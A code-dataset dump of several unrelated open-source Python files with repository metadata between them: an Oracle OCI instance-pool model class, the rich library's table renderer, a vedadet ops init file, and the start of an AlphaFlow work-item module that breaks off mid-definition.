# coding: utf-8 # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class InstancePoolSummary(object): """ Summary information for an instance pool. """ #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "PROVISIONING" LIFECYCLE_STATE_PROVISIONING = "PROVISIONING" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "SCALING" LIFECYCLE_STATE_SCALING = "SCALING" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "STARTING" LIFECYCLE_STATE_STARTING = "STARTING" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "STOPPING" LIFECYCLE_STATE_STOPPING = "STOPPING" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "TERMINATING" LIFECYCLE_STATE_TERMINATING = "TERMINATING" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "STOPPED" LIFECYCLE_STATE_STOPPED = "STOPPED" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "TERMINATED" LIFECYCLE_STATE_TERMINATED = "TERMINATED" #: A constant which can be used with the lifecycle_state property of a InstancePoolSummary. #: This constant has a value of "RUNNING" LIFECYCLE_STATE_RUNNING = "RUNNING" def __init__(self, **kwargs): """ Initializes a new InstancePoolSummary object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param id: The value to assign to the id property of this InstancePoolSummary. :type id: str :param compartment_id: The value to assign to the compartment_id property of this InstancePoolSummary. :type compartment_id: str :param display_name: The value to assign to the display_name property of this InstancePoolSummary. :type display_name: str :param instance_configuration_id: The value to assign to the instance_configuration_id property of this InstancePoolSummary. :type instance_configuration_id: str :param lifecycle_state: The value to assign to the lifecycle_state property of this InstancePoolSummary. Allowed values for this property are: "PROVISIONING", "SCALING", "STARTING", "STOPPING", "TERMINATING", "STOPPED", "TERMINATED", "RUNNING", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type lifecycle_state: str :param availability_domains: The value to assign to the availability_domains property of this InstancePoolSummary. :type availability_domains: list[str] :param size: The value to assign to the size property of this InstancePoolSummary. :type size: int :param time_created: The value to assign to the time_created property of this InstancePoolSummary. :type time_created: datetime :param defined_tags: The value to assign to the defined_tags property of this InstancePoolSummary. :type defined_tags: dict(str, dict(str, object)) :param freeform_tags: The value to assign to the freeform_tags property of this InstancePoolSummary. :type freeform_tags: dict(str, str) """ self.swagger_types = { 'id': 'str', 'compartment_id': 'str', 'display_name': 'str', 'instance_configuration_id': 'str', 'lifecycle_state': 'str', 'availability_domains': 'list[str]', 'size': 'int', 'time_created': 'datetime', 'defined_tags': 'dict(str, dict(str, object))', 'freeform_tags': 'dict(str, str)' } self.attribute_map = { 'id': 'id', 'compartment_id': 'compartmentId', 'display_name': 'displayName', 'instance_configuration_id': 'instanceConfigurationId', 'lifecycle_state': 'lifecycleState', 'availability_domains': 'availabilityDomains', 'size': 'size', 'time_created': 'timeCreated', 'defined_tags': 'definedTags', 'freeform_tags': 'freeformTags' } self._id = None self._compartment_id = None self._display_name = None self._instance_configuration_id = None self._lifecycle_state = None self._availability_domains = None self._size = None self._time_created = None self._defined_tags = None self._freeform_tags = None @property def id(self): """ **[Required]** Gets the id of this InstancePoolSummary. The OCID of the instance pool. :return: The id of this InstancePoolSummary. :rtype: str """ return self._id @id.setter def id(self, id): """ Sets the id of this InstancePoolSummary. The OCID of the instance pool. :param id: The id of this InstancePoolSummary. :type: str """ self._id = id @property def compartment_id(self): """ **[Required]** Gets the compartment_id of this InstancePoolSummary. The OCID of the compartment containing the instance pool. :return: The compartment_id of this InstancePoolSummary. :rtype: str """ return self._compartment_id @compartment_id.setter def compartment_id(self, compartment_id): """ Sets the compartment_id of this InstancePoolSummary. The OCID of the compartment containing the instance pool. :param compartment_id: The compartment_id of this InstancePoolSummary. :type: str """ self._compartment_id = compartment_id @property def display_name(self): """ Gets the display_name of this InstancePoolSummary. A user-friendly name. Does not have to be unique, and it's changeable. Avoid entering confidential information. :return: The display_name of this InstancePoolSummary. :rtype: str """ return self._display_name @display_name.setter def display_name(self, display_name): """ Sets the display_name of this InstancePoolSummary. A user-friendly name. Does not have to be unique, and it's changeable. Avoid entering confidential information. :param display_name: The display_name of this InstancePoolSummary. :type: str """ self._display_name = display_name @property def instance_configuration_id(self): """ **[Required]** Gets the instance_configuration_id of this InstancePoolSummary. The OCID of the instance configuration associated with the instance pool. :return: The instance_configuration_id of this InstancePoolSummary. :rtype: str """ return self._instance_configuration_id @instance_configuration_id.setter def instance_configuration_id(self, instance_configuration_id): """ Sets the instance_configuration_id of this InstancePoolSummary. The OCID of the instance configuration associated with the instance pool. :param instance_configuration_id: The instance_configuration_id of this InstancePoolSummary. :type: str """ self._instance_configuration_id = instance_configuration_id @property def lifecycle_state(self): """ **[Required]** Gets the lifecycle_state of this InstancePoolSummary. The current state of the instance pool. Allowed values for this property are: "PROVISIONING", "SCALING", "STARTING", "STOPPING", "TERMINATING", "STOPPED", "TERMINATED", "RUNNING", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The lifecycle_state of this InstancePoolSummary. :rtype: str """ return self._lifecycle_state @lifecycle_state.setter def lifecycle_state(self, lifecycle_state): """ Sets the lifecycle_state of this InstancePoolSummary. The current state of the instance pool. :param lifecycle_state: The lifecycle_state of this InstancePoolSummary. :type: str """ allowed_values = ["PROVISIONING", "SCALING", "STARTING", "STOPPING", "TERMINATING", "STOPPED", "TERMINATED", "RUNNING"] if not value_allowed_none_or_none_sentinel(lifecycle_state, allowed_values): lifecycle_state = 'UNKNOWN_ENUM_VALUE' self._lifecycle_state = lifecycle_state @property def availability_domains(self): """ **[Required]** Gets the availability_domains of this InstancePoolSummary. The availability domains for the instance pool. :return: The availability_domains of this InstancePoolSummary. :rtype: list[str] """ return self._availability_domains @availability_domains.setter def availability_domains(self, availability_domains): """ Sets the availability_domains of this InstancePoolSummary. The availability domains for the instance pool. :param availability_domains: The availability_domains of this InstancePoolSummary. :type: list[str] """ self._availability_domains = availability_domains @property def size(self): """ **[Required]** Gets the size of this InstancePoolSummary. The number of instances that should be in the instance pool. :return: The size of this InstancePoolSummary. :rtype: int """ return self._size @size.setter def size(self, size): """ Sets the size of this InstancePoolSummary. The number of instances that should be in the instance pool. :param size: The size of this InstancePoolSummary. :type: int """ self._size = size @property def time_created(self): """ **[Required]** Gets the time_created of this InstancePoolSummary. The date and time the instance pool was created, in the format defined by `RFC3339`__. Example: `2016-08-25T21:10:29.600Z` __ https://tools.ietf.org/html/rfc3339 :return: The time_created of this InstancePoolSummary. :rtype: datetime """ return self._time_created @time_created.setter def time_created(self, time_created): """ Sets the time_created of this InstancePoolSummary. The date and time the instance pool was created, in the format defined by `RFC3339`__. Example: `2016-08-25T21:10:29.600Z` __ https://tools.ietf.org/html/rfc3339 :param time_created: The time_created of this InstancePoolSummary. :type: datetime """ self._time_created = time_created @property def defined_tags(self): """ Gets the defined_tags of this InstancePoolSummary. Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see `Resource Tags`__. Example: `{\"Operations\": {\"CostCenter\": \"42\"}}` __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm :return: The defined_tags of this InstancePoolSummary. :rtype: dict(str, dict(str, object)) """ return self._defined_tags @defined_tags.setter def defined_tags(self, defined_tags): """ Sets the defined_tags of this InstancePoolSummary. Defined tags for this resource. Each key is predefined and scoped to a namespace. For more information, see `Resource Tags`__. Example: `{\"Operations\": {\"CostCenter\": \"42\"}}` __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm :param defined_tags: The defined_tags of this InstancePoolSummary. :type: dict(str, dict(str, object)) """ self._defined_tags = defined_tags @property def freeform_tags(self): """ Gets the freeform_tags of this InstancePoolSummary. Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see `Resource Tags`__. Example: `{\"Department\": \"Finance\"}` __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm :return: The freeform_tags of this InstancePoolSummary. :rtype: dict(str, str) """ return self._freeform_tags @freeform_tags.setter def freeform_tags(self, freeform_tags): """ Sets the freeform_tags of this InstancePoolSummary. Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace. For more information, see `Resource Tags`__. Example: `{\"Department\": \"Finance\"}` __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/resourcetags.htm :param freeform_tags: The freeform_tags of this InstancePoolSummary. :type: dict(str, str) """ self._freeform_tags = freeform_tags def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other
34.820574
245
0.660598
79594bf9a7a740dd1bb80f774f8410eb6ef3b703
28,125
py
Python
rich/table.py
JettChenT/rich
bd98aafb68273847e01b32a38f11461e59f472e4
[ "MIT" ]
1
2021-02-08T12:28:22.000Z
2021-02-08T12:28:22.000Z
rich/table.py
JettChenT/rich
bd98aafb68273847e01b32a38f11461e59f472e4
[ "MIT" ]
null
null
null
rich/table.py
JettChenT/rich
bd98aafb68273847e01b32a38f11461e59f472e4
[ "MIT" ]
null
null
null
from dataclasses import dataclass, field from typing import TYPE_CHECKING, Iterable, List, NamedTuple, Optional, Tuple, Union from . import box, errors from ._loop import loop_first_last, loop_last from ._ratio import ratio_distribute, ratio_reduce from .jupyter import JupyterMixin from .measure import Measurement from .padding import Padding, PaddingDimensions from .protocol import is_renderable from .segment import Segment from .style import Style, StyleType from .styled import Styled from .text import Text, TextType if TYPE_CHECKING: from .console import ( Console, ConsoleOptions, JustifyMethod, OverflowMethod, RenderableType, RenderResult, ) @dataclass class Column: """Defines a column in a table.""" index: int """Index of column.""" header: "RenderableType" = "" """RenderableType: Renderable for the header (typically a string)""" footer: "RenderableType" = "" """RenderableType: Renderable for the footer (typically a string)""" header_style: StyleType = "table.header" """StyleType: The style of the header.""" footer_style: StyleType = "table.footer" """StyleType: The style of the footer.""" style: StyleType = "none" """StyleType: The style of the column.""" justify: "JustifyMethod" = "left" """str: How to justify text within the column ("left", "center", "right", or "full")""" overflow: "OverflowMethod" = "ellipsis" width: Optional[int] = None """Optional[int]: Width of the column, or ``None`` (default) to auto calculate width.""" ratio: Optional[int] = None """Optional[int]: Ratio to use when calculating column width, or ``None`` (default) to adapt to column contents.""" no_wrap: bool = False """bool: Prevent wrapping of text within the column. Defaults to ``False``.""" _cells: List["RenderableType"] = field(default_factory=list) @property def cells(self) -> Iterable["RenderableType"]: """Get all cells in the column, not including header.""" yield from self._cells @property def flexible(self) -> bool: """Check if this column is flexible.""" return self.ratio is not None class _Cell(NamedTuple): """A single cell in a table.""" style: StyleType """Style to apply to cell.""" renderable: "RenderableType" """Cell renderable.""" class Table(JupyterMixin): """A console renderable to draw a table. Args: *headers (Union[Column, str]): Column headers, either as a string, or :class:`~rich.table.Column` instance. title (Union[str, Text], optional): The title of the table rendered at the top. Defaults to None. caption (Union[str, Text], optional): The table caption rendered below. Defaults to None. width (int, optional): The width in characters of the table, or ``None`` to automatically fit. Defaults to None. box (box.Box, optional): One of the constants in box.py used to draw the edges (see :ref:`appendix_box`). Defaults to box.HEAVY_HEAD. safe_box (Optional[bool], optional): Disable box characters that don't display on windows legacy terminal with *raster* fonts. Defaults to True. padding (PaddingDimensions, optional): Padding for cells (top, right, bottom, left). Defaults to (0, 1). collapse_padding (bool, optional): Enable collapsing of padding around cells. Defaults to False. pad_edge (bool, optional): Enable padding of edge cells. Defaults to True. expand (bool, optional): Expand the table to fit the available space if ``True``, otherwise the table width will be auto-calculated. Defaults to False. show_header (bool, optional): Show a header row. Defaults to True. show_footer (bool, optional): Show a footer row. Defaults to False. show_edge (bool, optional): Draw a box around the outside of the table. Defaults to True. show_lines (bool, optional): Draw lines between every row. Defaults to False. leading (bool, optional): Number of blank lines between rows (precludes ``show_lines``). Defaults to 0. style (Union[str, Style], optional): Default style for the table. Defaults to "none". row_styles (List[Union, str], optional): Optional list of row styles, if more that one style is give then the styles will alternate. Defaults to None. header_style (Union[str, Style], optional): Style of the header. Defaults to None. footer_style (Union[str, Style], optional): Style of the footer. Defaults to None. border_style (Union[str, Style], optional): Style of the border. Defaults to None. title_style (Union[str, Style], optional): Style of the title. Defaults to None. caption_style (Union[str, Style], optional): Style of the caption. Defaults to None. """ columns: List[Column] def __init__( self, *headers: Union[Column, str], title: TextType = None, caption: TextType = None, width: int = None, box: Optional[box.Box] = box.HEAVY_HEAD, safe_box: Optional[bool] = None, padding: PaddingDimensions = (0, 1), collapse_padding: bool = False, pad_edge: bool = True, expand: bool = False, show_header: bool = True, show_footer: bool = False, show_edge: bool = True, show_lines: bool = False, leading: int = 0, style: StyleType = "none", row_styles: Iterable[StyleType] = None, header_style: StyleType = None, footer_style: StyleType = None, border_style: StyleType = None, title_style: StyleType = None, caption_style: StyleType = None, ) -> None: self.columns = [ (Column(index, header) if isinstance(header, str) else header) for index, header in enumerate(headers) ] self.title = title self.caption = caption self.width = width self.box = box self.safe_box = safe_box self._padding = Padding.unpack(padding) self.pad_edge = pad_edge self._expand = expand self.show_header = show_header self.show_footer = show_footer self.show_edge = show_edge self.show_lines = show_lines self.leading = leading self.collapse_padding = collapse_padding self.style = style self.header_style = header_style self.footer_style = footer_style self.border_style = border_style self.title_style = title_style self.caption_style = title_style self._row_count = 0 self.row_styles = list(row_styles or []) @classmethod def grid( cls, padding: PaddingDimensions = 0, collapse_padding: bool = True, pad_edge: bool = False, expand: bool = False, ) -> "Table": """Get a table with no lines, headers, or footer. Args: padding (PaddingDimensions, optional): Get padding around cells. Defaults to 0. collapse_padding (bool, optional): Enable collapsing of padding around cells. Defaults to True. pad_edge (bool, optional): Enable padding around edges of table. Defaults to False. expand (bool, optional): Expand the table to fit the available space if ``True``, otherwise the table width will be auto-calculated. Defaults to False. Returns: Table: A table instance. """ return cls( box=None, padding=padding, collapse_padding=collapse_padding, show_header=False, show_footer=False, show_edge=False, pad_edge=pad_edge, expand=expand, ) @property def expand(self) -> int: """Setting a non-None self.width implies expand.""" return self._expand or self.width is not None @expand.setter def expand(self, expand: bool) -> None: """Set expand.""" self._expand = expand @property def _extra_width(self) -> int: """Get extra width to add to cell content.""" width = 0 if self.box and self.show_edge: width += 2 if self.box: width += len(self.columns) - 1 return width @property def row_count(self) -> int: """Get the current number of rows.""" return self._row_count def get_row_style(self, index: int) -> StyleType: """Get the current row style.""" if self.row_styles: return self.row_styles[index % len(self.row_styles)] return Style() def __rich_measure__(self, console: "Console", max_width: int) -> Measurement: if self.width is not None: max_width = self.width if self.box: max_width -= len(self.columns) - 1 if self.show_edge: max_width -= 2 extra_width = self._extra_width _measure_column = self._measure_column measurements = [ _measure_column(console, column, max_width) for column in self.columns ] minimum_width = ( sum(measurement.minimum for measurement in measurements) + extra_width ) maximum_width = ( sum(measurement.maximum for measurement in measurements) + extra_width if (self.width is None) else self.width ) return Measurement(minimum_width, maximum_width) @property def padding(self) -> Tuple[int, int, int, int]: """Get cell padding.""" return self._padding @padding.setter def padding(self, padding: PaddingDimensions) -> "Table": """Set cell padding.""" self._padding = Padding.unpack(padding) return self def add_column( self, header: "RenderableType" = "", footer: "RenderableType" = "", *, header_style: StyleType = None, footer_style: StyleType = None, style: StyleType = None, justify: "JustifyMethod" = "left", overflow: "OverflowMethod" = "ellipsis", width: int = None, ratio: int = None, no_wrap: bool = False, ) -> None: """Add a column to the table. Args: header (RenderableType, optional): Text or renderable for the header. Defaults to "". footer (RenderableType, optional): Text or renderable for the footer. Defaults to "". header_style (Union[str, Style], optional): Style for the header. Defaults to "none". footer_style (Union[str, Style], optional): Style for the header. Defaults to "none". style (Union[str, Style], optional): Style for the column cells. Defaults to "none". justify (JustifyMethod, optional): Alignment for cells. Defaults to "left". width (int, optional): A minimum width in characters. Defaults to None. ratio (int, optional): Flexible ratio for the column (requires ``Table.expand`` or ``Table.width``). Defaults to None. no_wrap (bool, optional): Set to ``True`` to disable wrapping of this column. """ column = Column( index=len(self.columns), header=header, footer=footer, header_style=Style.pick_first( header_style, self.header_style, "table.header" ), footer_style=Style.pick_first( footer_style, self.footer_style, "table.footer" ), style=Style.pick_first(style, self.style, "table.cell"), justify=justify, overflow=overflow, width=width, ratio=ratio, no_wrap=no_wrap, ) self.columns.append(column) def add_row( self, *renderables: Optional["RenderableType"], style: StyleType = None ) -> None: """Add a row of renderables. Args: *renderables (None or renderable): Each cell in a row must be a renderable object (including str), or ``None`` for a blank cell. style (StyleType, optional): An optional style to apply to the entire row. Defaults to None. Raises: errors.NotRenderableError: If you add something that can't be rendered. """ def add_cell(column: Column, renderable: "RenderableType") -> None: column._cells.append( renderable if style is None else Styled(renderable, style) ) cell_renderables: List[Optional["RenderableType"]] = list(renderables) columns = self.columns if len(cell_renderables) < len(columns): cell_renderables = [ *cell_renderables, *[None] * (len(columns) - len(cell_renderables)), ] for index, renderable in enumerate(cell_renderables): if index == len(columns): column = Column(index) for _ in range(self._row_count): add_cell(column, Text("")) self.columns.append(column) else: column = columns[index] if renderable is None: add_cell(column, "") elif is_renderable(renderable): add_cell(column, renderable) else: raise errors.NotRenderableError( f"unable to render {type(renderable).__name__}; a string or other renderable object is required" ) self._row_count += 1 def __rich_console__( self, console: "Console", options: "ConsoleOptions" ) -> "RenderResult": max_width = options.max_width if self.width is not None: max_width = self.width if self.box: max_width -= len(self.columns) - 1 if self.show_edge: max_width -= 2 widths = self._calculate_column_widths(console, max_width) table_width = sum(widths) + self._extra_width render_options = options.update(width=table_width) def render_annotation(text: TextType, style: StyleType) -> "RenderResult": render_text = ( console.render_str(text, style=style) if isinstance(text, str) else text ) return console.render( render_text, options=render_options.update(justify="center") ) if self.title: yield from render_annotation( self.title, style=Style.pick_first(self.title_style, "table.title") ) yield from self._render(console, render_options, widths) if self.caption: yield from render_annotation( self.caption, style=Style.pick_first(self.caption_style, "table.caption"), ) def _calculate_column_widths(self, console: "Console", max_width: int) -> List[int]: """Calculate the widths of each column, including padding, not including borders.""" columns = self.columns width_ranges = [ self._measure_column(console, column, max_width) for column in columns ] widths = [_range.maximum or 1 for _range in width_ranges] get_padding_width = self._get_padding_width if self.expand: ratios = [col.ratio or 0 for col in columns if col.flexible] if any(ratios): fixed_widths = [ 0 if column.flexible else _range.maximum for _range, column in zip(width_ranges, columns) ] flex_minimum = [ (column.width or 1) + get_padding_width(column.index) for column in columns if column.flexible ] flexible_width = max_width - sum(fixed_widths) flex_widths = ratio_distribute(flexible_width, ratios, flex_minimum) iter_flex_widths = iter(flex_widths) for index, column in enumerate(columns): if column.flexible: widths[index] = fixed_widths[index] + next(iter_flex_widths) table_width = sum(widths) if table_width > max_width: widths = self._collapse_widths( widths, [not column.no_wrap for column in columns], max_width ) table_width = sum(widths) # last resort, reduce columns evenly if table_width > max_width: excess_width = table_width - max_width widths = ratio_reduce(excess_width, [1] * len(widths), widths, widths) table_width = sum(widths) width_ranges = [ self._measure_column(console, column, width) for width, column in zip(widths, columns) ] widths = [_range.maximum or 1 for _range in width_ranges] if table_width < max_width and self.expand: pad_widths = ratio_distribute(max_width - table_width, widths) widths = [_width + pad for _width, pad in zip(widths, pad_widths)] return widths @classmethod def _collapse_widths( cls, widths: List[int], wrapable: List[bool], max_width: int ) -> List[int]: """Reduce widths so that the total is under max_width. Args: widths (List[int]): List of widths. wrapable (List[bool]): List of booleans that indicate if a column may shrink. max_width (int): Maximum width to reduce to. Returns: List[int]: A new list of widths. """ total_width = sum(widths) excess_width = total_width - max_width if any(wrapable): while total_width and excess_width > 0: max_column = max( width for width, allow_wrap in zip(widths, wrapable) if allow_wrap ) try: second_max_column = max( width if allow_wrap and width != max_column else 0 for width, allow_wrap in zip(widths, wrapable) ) except ValueError: second_max_column = 0 column_difference = max_column - second_max_column ratios = [ (1 if (width == max_column and allow_wrap) else 0) for width, allow_wrap in zip(widths, wrapable) ] if not any(ratios) or not column_difference: break max_reduce = [min(excess_width, column_difference)] * len(widths) widths = ratio_reduce(excess_width, ratios, max_reduce, widths) total_width = sum(widths) excess_width = total_width - max_width return widths def _get_cells(self, column_index: int, column: Column) -> Iterable[_Cell]: """Get all the cells with padding and optional header.""" collapse_padding = self.collapse_padding pad_edge = self.pad_edge padding = self.padding any_padding = any(padding) first_column = column_index == 0 last_column = column_index == len(self.columns) - 1 def add_padding( renderable: "RenderableType", first_row: bool, last_row: bool ) -> "RenderableType": if not any_padding: return renderable top, right, bottom, left = padding if collapse_padding: if not first_column: left = max(0, left - right) if not last_row: bottom = max(0, top - bottom) if not pad_edge: if first_column: left = 0 if last_column: right = 0 if first_row: top = 0 if last_row: bottom = 0 _padding = Padding(renderable, (top, right, bottom, left)) return _padding raw_cells: List[Tuple[StyleType, "RenderableType"]] = [] _append = raw_cells.append if self.show_header: _append((column.header_style, column.header)) for cell in column.cells: _append((column.style, cell)) if self.show_footer: _append((column.footer_style, column.footer)) for first, last, (style, renderable) in loop_first_last(raw_cells): yield _Cell(style, add_padding(renderable, first, last)) def _get_padding_width(self, column_index: int) -> int: """Get extra width from padding.""" _, pad_right, _, pad_left = self.padding if self.collapse_padding: if column_index > 0: pad_left = max(0, pad_left - pad_right) return pad_left + pad_right def _measure_column( self, console: "Console", column: Column, max_width: int ) -> Measurement: """Get the minimum and maximum width of the column.""" padding_width = self._get_padding_width(column.index) if column.width is not None: # Fixed width column return Measurement( column.width + padding_width, column.width + padding_width ) # Flexible column, we need to measure contents min_widths: List[int] = [] max_widths: List[int] = [] append_min = min_widths.append append_max = max_widths.append get_render_width = Measurement.get for cell in self._get_cells(column.index, column): _min, _max = get_render_width(console, cell.renderable, max_width) append_min(_min) append_max(_max) return Measurement( max(min_widths) if min_widths else 1, max(max_widths) if max_widths else max_width, ) def _render( self, console: "Console", options: "ConsoleOptions", widths: List[int] ) -> "RenderResult": table_style = console.get_style(self.style or "") border_style = table_style + console.get_style(self.border_style or "") rows: List[Tuple[_Cell, ...]] = list( zip( *( self._get_cells(column_index, column) for column_index, column in enumerate(self.columns) ) ) ) safe_box: bool = console.safe_box if self.safe_box is None else self.safe_box # type: ignore _box = ( box.get_safe_box(self.box, console.legacy_windows) if safe_box else self.box ) # _box = self.box new_line = Segment.line() columns = self.columns show_header = self.show_header show_footer = self.show_footer show_edge = self.show_edge show_lines = self.show_lines leading = self.leading _Segment = Segment if _box: box_segments = [ ( _Segment(_box.head_left, border_style), _Segment(_box.head_right, border_style), _Segment(_box.head_vertical, border_style), ), ( _Segment(_box.foot_left, border_style), _Segment(_box.foot_right, border_style), _Segment(_box.foot_vertical, border_style), ), ( _Segment(_box.mid_left, border_style), _Segment(_box.mid_right, border_style), _Segment(_box.mid_vertical, border_style), ), ] if show_edge: yield _Segment(_box.get_top(widths), border_style) yield new_line else: box_segments = [] get_row_style = self.get_row_style get_style = console.get_style for index, (first, last, row) in enumerate(loop_first_last(rows)): header_row = first and show_header footer_row = last and show_footer max_height = 1 cells: List[List[List[Segment]]] = [] if header_row or footer_row: row_style = Style() else: row_style = get_style( get_row_style(index - 1 if show_header else index) ) for width, cell, column in zip(widths, row, columns): render_options = options.update( width=width, justify=column.justify, no_wrap=column.no_wrap, overflow=column.overflow, ) cell_style = table_style + row_style + get_style(cell.style) lines = console.render_lines( cell.renderable, render_options, style=cell_style ) max_height = max(max_height, len(lines)) cells.append(lines) cells[:] = [ _Segment.set_shape(_cell, width, max_height, style=table_style) for width, _cell in zip(widths, cells) ] if _box: if last and show_footer: yield _Segment( _box.get_row(widths, "foot", edge=show_edge), border_style ) yield new_line if first: left, right, divider = box_segments[0] elif last: left, right, divider = box_segments[2] else: left, right, divider = box_segments[1] for line_no in range(max_height): if show_edge: yield left for last_cell, rendered_cell in loop_last(cells): yield from rendered_cell[line_no] if not last_cell: yield divider if show_edge: yield right yield new_line else: for line_no in range(max_height): for rendered_cell in cells: yield from rendered_cell[line_no] yield new_line if _box and first and show_header: yield Segment( _box.get_row(widths, "head", edge=show_edge), border_style ) yield new_line if _box and (show_lines or leading): if ( not last and not (show_footer and index >= len(rows) - 2) and not (show_header and header_row) ): if leading: for _ in range(leading): yield _Segment( _box.get_row(widths, "mid", edge=show_edge), border_style, ) else: yield _Segment( _box.get_row(widths, "row", edge=show_edge), border_style ) yield new_line if _box and show_edge: yield _Segment(_box.get_bottom(widths), border_style) yield new_line if __name__ == "__main__": # pragma: no cover from .console import Console c = Console() table = Table( show_lines=False, row_styles=["red", "green"], expand=False, show_header=True, show_footer=False, show_edge=True, ) table.add_column("foo", no_wrap=True, footer="BAR") table.add_column("bar") table.add_column("baz") table.add_row("Magnet", "foo" * 20, "bar" * 10, "egg" * 15) for width in range(170, 1, -1): print(" " * width + "<|") c = Console(width=width) c.print(table) c.print("Some more words", width=4, overflow="ellipsis")
38.109756
163
0.570738
79594c90b2827ce0a4b4839f675228d1ab03d3a2
582
py
Python
vedadet/ops/dcn/__init__.py
jie311/vedadet
aaf3b3bc3c7944aba1cc28138165d403023a9152
[ "Apache-2.0" ]
1,467
2020-03-24T01:38:24.000Z
2022-03-31T03:02:05.000Z
vedadet/ops/dcn/__init__.py
jie311/vedadet
aaf3b3bc3c7944aba1cc28138165d403023a9152
[ "Apache-2.0" ]
208
2020-03-26T16:24:23.000Z
2022-03-30T13:12:07.000Z
vedadet/ops/dcn/__init__.py
jie311/vedadet
aaf3b3bc3c7944aba1cc28138165d403023a9152
[ "Apache-2.0" ]
300
2020-03-24T03:55:02.000Z
2022-03-29T19:08:07.000Z
from .deform_conv import (DeformConv, DeformConvPack, ModulatedDeformConv, ModulatedDeformConvPack, deform_conv, modulated_deform_conv) from .deform_pool import (DeformRoIPooling, DeformRoIPoolingPack, ModulatedDeformRoIPoolingPack, deform_roi_pooling) __all__ = [ 'DeformConv', 'DeformConvPack', 'ModulatedDeformConv', 'ModulatedDeformConvPack', 'DeformRoIPooling', 'DeformRoIPoolingPack', 'ModulatedDeformRoIPoolingPack', 'deform_conv', 'modulated_deform_conv', 'deform_roi_pooling' ]
44.769231
76
0.706186
79594d01fd1e15203d722f03169d7ffc40654904
24,469
py
Python
workitem.py
gocept/alphaflow
4b797cb12fb52254b1884159fd9a8b899c739f7c
[ "ZPL-2.1", "ZPL-2.0" ]
null
null
null
workitem.py
gocept/alphaflow
4b797cb12fb52254b1884159fd9a8b899c739f7c
[ "ZPL-2.1", "ZPL-2.0" ]
null
null
null
workitem.py
gocept/alphaflow
4b797cb12fb52254b1884159fd9a8b899c739f7c
[ "ZPL-2.1", "ZPL-2.0" ]
1
2021-11-01T07:58:18.000Z
2021-11-01T07:58:18.000Z
# Copyright (c) 2004-2006 gocept gmbh & co. kg # See also LICENSE.txt # $Id$ """Work item base classes""" import DateTime import persistent.list import zope.interface import zope.component from AccessControl import ClassSecurityInfo, getSecurityManager from Globals import InitializeClass import zope.app.annotation.interfaces from ZPublisher.mapply import mapply from Products.CMFCore.utils import getToolByName from Products.CMFCore import permissions from Products.Archetypes import public as atapi import Products.AlphaFlow.interfaces from Products.AlphaFlow import config, utils from Products.AlphaFlow.utils import \ DynamicLocalRoleSupport, LocalRoleFakeBase, modifyRolesForPermission, \ ContentObjectRetrieverBase from Products.AlphaFlow.interfaces import \ IWorkItem, IWorkItemFactory, IAlphaFlowed, IAutomaticWorkItem, \ IActivity, IAssignableActivity, IAssignableWorkItem, IFieldGroup, \ IWorkItemClass, ILifeCycleController, ILifeCycleEvent from Products.AlphaFlow.lifecycle import LifeCycleObjectBase, CannotComplete class WorkItemFactory(object): zope.component.adapts(IActivity) zope.interface.implements(IWorkItemFactory) class_suffix = 'Activity' def __init__(self, activity): self.activity = activity def __call__(self, source, content_object=None): """Instantiates work items for this activity. """ w_id = utils.generateUniqueId('Workitem') class_name = self.activity.__class__.__name__ assert class_name.endswith(self.class_suffix), \ "Can only use default WorkItemFactory for classes with a name " \ "that ends with '%s'." % self.class_suffix class_name = class_name.lower()[:-len(self.class_suffix)] wi_class = zope.component.getUtility(IWorkItemClass, name=class_name) wi = wi_class(w_id, self.activity.getId(), content_object) return [wi] class WorkItemLocalRoleFake(LocalRoleFakeBase): """fakes a dictionary for local role support""" def _get_rolecache_for_user(self, user): alf = self._processmanager workitem = self._context roles = alf.getDynamicRolesForWorkItem(workitem, user) return roles def _get_users_with_cached_roles(self): return self._processmanager.listRelevantUsersForWorkItem(self._context) def workflow_action(method): def action(self, *args, **kwargs): if self.state != "active": raise ValueError( "Can't perform an action on a work item that isn't active.") if self.REQUEST is None: kw = kwargs else: kw = self.REQUEST.form.copy() kw.update(kwargs) try: message = mapply(method, (self,) + args, kw) except CannotComplete: message = u'Could not complete.' self.notifyAssigneesChange() self._update_ui_after_action(message, self.REQUEST) action.__doc__ = method.__doc__ return action class BaseWorkItem(DynamicLocalRoleSupport, ContentObjectRetrieverBase, LifeCycleObjectBase): zope.interface.implements( IWorkItem, zope.app.annotation.interfaces.IAttributeAnnotatable) alphaflow_type = "workitem" security = ClassSecurityInfo() global_allow = False content_object = None activity_type = "" activity_id = "" generated_by = None generated_workitems = () completed_by = None log_name = "work item" log_children_name = "checkpoints" schema = LifeCycleObjectBase.schema.copy() + atapi.Schema(( atapi.TextField("comment", widget=atapi.TextAreaWidget( description="Please enter 